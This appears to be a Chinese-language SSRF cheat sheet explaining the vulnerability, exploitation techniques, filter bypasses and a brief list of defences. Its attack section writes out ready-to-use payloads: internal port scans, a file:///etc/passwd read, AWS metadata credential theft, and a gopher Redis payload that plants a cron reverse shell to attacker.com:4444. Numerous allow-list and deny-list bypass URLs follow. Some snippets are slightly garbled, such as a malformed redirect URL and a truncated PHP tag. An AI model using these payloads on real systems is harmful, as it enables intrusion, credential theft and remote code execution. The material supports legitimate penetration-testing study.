SSRF总结
SSRF 原理 (Principle)
1. 简明定义 SSRF (Server-Side Request Forgery) 是一种由攻击者构造请求，由服务器端代替攻击者发起一个网络请求的安全漏洞。
2. 核心思想 简单来说，就是攻击者利用了一个Web应用的漏洞，把这个服务器变成了自己的“代理”，去访问一些它本不应该访问的资源。
3. 为什么危害大？ 因为服务器通常具有特殊的网络位置和权限：
- 可以访问内网：服务器部署在内网中，可以访问到互联网上无法直接访问的内部系统，如数据库、后台管理系统、内部API等。
- 可以访问本地回环地址 (localhost)：服务器可以访问
127.0.0.1或localhost，这里通常运行着一些只对本地开放的管理服务或接口（如Redis, Elasticsearch, Web管理后台）。 - 绕过防火墙：从服务器发出的请求通常被网络防火墙认为是“可信”的，从而可以绕过访问控制策略。
4. 产生漏洞的函数/功能点 凡是需要服务器根据用户提供的URL去获取远程资源的地方，都可能存在SSRF漏洞。常见功能点包括：
- 图片/文件上传与加载：从URL加载图片、下载文件。
- URL预览生成：社交分享时自动抓取URL的标题和描述。
- 数据导入/Webhooks：从外部URL导入数据，或向指定URL发送通知。
- XML解析器：XXE漏洞常常可以结合SSRF，通过
SYSTEM关键字引入外部实体。
攻击利用
信息收集
-
内网端口扫描
常用协议：
http://，https://http://vuln-site.com/load?url=http://192.168.1.10:3306 -
内网服务识别 常用协议：
dict://,http://http://vuln-site.com/load?url=dict://192.168.1.10:6379/info -
读文件
常用协议：
file://http://vuln-site.com/load?url=file:///etc/passwd
内网攻击
-
web应用
常见的都是get直接get传参就行
/fetch?url=http://127.0.0.1:8080/admin有些情况下也能post
POST /fetch HTTP/1.1 Host: victim.com Content-Type: application/x-www-form-urlencoded Content-Length: 60 url=http://127.0.0.1:8080/login&method=POST&body=user=aaa&pass=bbb 或者使用gopher GET /fetch?url=gopher://127.0.0.1:8080/_POST%20/login%20HTTP/1.1%0D%0AHost:127.0.0.1%3A8080%0D%0AContent-Type:application/x-www-form-urlencoded%0D%0AContent-Length:17%0D%0A%0D%0Auser=aaa&pass=bbb HTTP/1.1 Host: victim.com -
数据库和缓存服务
常用协议：
gopher://,dict://,http://常用的如Redis写公钥
http://vuln-site.com/load?url=gopher://192.168.1.10:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0a%0a%0a/1%20*%20*%20*%20*%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/attacker.com/4444%200%3E%261%22%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a -
访问云服务器元数据
常用协议：
http://AWVS:http://vuln-site.com/load?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
绕过
黑名单绕过
- 使用 127.0.0.1 的替代 IP 表示形式，例如 2130706433 （十进制表示法）、 017700000001（八进制表示法） 或 127.1 （也表示环回）。
- 自定义域名，使域名解析为 127.0.0.1。（ 如：使example.com 解析为127.0.0.1 ）
- 使用 URL 编码或大小写变体对被阻止的字符串进行混淆处理
-
将自己控制的URL 重定向到目标 URL，使用不同的重定向代码（ HTTP 重定向（如 301、302） ）和不同的协议（从 http 到 https 的切换）这里编写不同的代码文件：如：
<?php header("Location: https://127.0.0.1.com/admin", true, 302);exit();?放在攻击服务器，然后SSRF访问这个攻击域名+文件时解析为127.0.0.1+/admin绕过本来的直接访问
白名单绕过
-
凭证嵌入绕过 (@符号)
正常请求：
https://api.example.com/products/123攻击者构造的恶意URL：
https://api.example.com@attacker.com/实际发生的情况：应用验证时看到
api.example.com(在白名单中)实际请求被发送到
attacker.com，因为@前的内容被解析为凭证请求变成：
GET / HTTP/1.1 Host: attacker.com -
URL片段绕过 (#符号)
正常请求：
https://trusted-site.com/news攻击者构造的恶意URL：
https://attacker-server.com#trusted-site.com实际发生的情况：验证时看到
trusted-site.com(通过白名单检查)实际请求发送到
attacker-server.com，因为#后的片段不会发送到服务器服务器访问的是
https://attacker-server.com -
DNS重绑定攻击
攻击场景：企业内部系统允许输入内网域名获取数据，白名单包含
*.internal.company.com攻击者控制的DNS配置：
首次查询
evil.internal.company.com→ 返回192.168.1.1(合法IP)TTL过期后查询 → 返回127.0.0.1(攻击目标)
攻击流程：
1.攻击者提交：
http://evil.internal.company.com/admin/deleteAll2.首次验证时DNS返回合法IP，通过白名单
3.服务器实际请求时DNS已返回127.0.0.1
4.服务器向自己的管理接口发送了删除请求
-
子域名欺骗攻击
云服务API只允许访问
*.storage.googleapis.com攻击者构造的URL：
https://expected-bucket.storage.googleapis.com.attacker.com/实际发生的情况：
验证看到包含
storage.googleapis.com(通过检查)实际请求发送到
expected-bucket.storage.googleapis.com.attacker.com这是一个完全由攻击者控制的域名
-
URL编码绕过
系统使用正则表达式检查域名，要求以
.company.com结尾攻击者构造的URL：
http://attacker%252ecompany.com解码过程：
1.第一次解码：
attacker%2ecompany.com(%25解码为%)2.第二次解码：
attacker.company.com(%2e解码为.)3.验证通过，但实际连接的是
attacker%2ecompany.com -
端口混淆攻击
白名单允许
example.com但未限制端口攻击者构造的URL：
https://example.com:443@attacker.com:80/实际发生的情况：
验证看到
example.com实际连接到
attacker.com端口80因为
example.com:443被解释为用户名密码部分
防御
- 设置域名与协议白名单
-
统一出口/网络访问代理
对于需要访问外部资源的大型应用或企业，一个非常有效的架构级防御方法是设置统一的请求出口。
-
过滤验证输入
正确解析URL：使用经过安全验证的URL解析库来分解用户输入的链接。自行通过正则表达式或字符串查找来解析URL很容易被绕过。解析后，重点关注Host、Port和Scheme（协议）。
过滤IP地址：各种格式的127.0.0.1，内网地址，0.0.0.0等等等，只能访问到合法地址
- 禁用非必须协议
- 限制请求重定向（防止请求重定向绕过SSRF检测）
- 网络层：使用WAF，做好网络策略